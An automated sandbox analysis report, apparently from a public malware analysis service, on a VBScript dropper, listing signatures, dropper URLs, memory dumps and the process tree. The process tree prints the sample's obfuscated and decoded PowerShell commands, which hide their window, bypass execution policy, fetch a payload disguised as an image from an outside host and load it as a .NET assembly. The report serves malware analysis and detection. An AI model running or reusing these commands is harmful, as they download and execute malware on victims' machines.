Analysis
- max time kernel
148s - max time network
133s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
22/09/2026, 12:14
General
- Target jaffacakes118_f59caf2280fe26f4d178f8019d860e9ac610325264a0fc9710cc71c033aa8342.vbs
- Size 363KB
- Sample260922-peatyadh99
- SHA256 f59caf2280fe26f4d178f8019d860e9ac610325264a0fc9710cc71c033aa8342
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937
-
exe.dropper
https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_f59caf2280fe26f4d178f8019d860e9ac610325264a0fc9710cc71c033aa8342.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgB4◀▶G8◀▶bQBv◀▶C8◀▶Mg◀▶1◀▶C4◀▶O◀▶◀▶0◀▶C4◀▶M◀▶◀▶x◀▶DE◀▶Lg◀▶5◀▶Dc◀▶Lw◀▶v◀▶Do◀▶c◀▶B0◀▶HQ◀▶a◀▶◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bm◀▶GQ◀▶ZgBk◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GY◀▶Z◀▶Bm◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GY◀▶Z◀▶Bm◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GE◀▶Z◀▶Bz◀▶GE◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZQ◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶YwB1◀▶Cc◀▶KQ◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.xomo/25.84.011.97//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/3220-8-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-3-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-5-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-6-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-7-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-22-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-9-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-10-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-13-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-0-0x00007FFDCD7AF000-0x00007FFDCD7B0000-memory.dmp
memory/3220-28-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-27-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/3220-4-0x000002283DB40000-0x000002283DB62000-memory.dmp
memory/4568-14-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/4568-19-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/4568-20-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/4568-21-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/4568-18-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/4568-24-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/4568-17-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/4568-16-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp
memory/4568-15-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp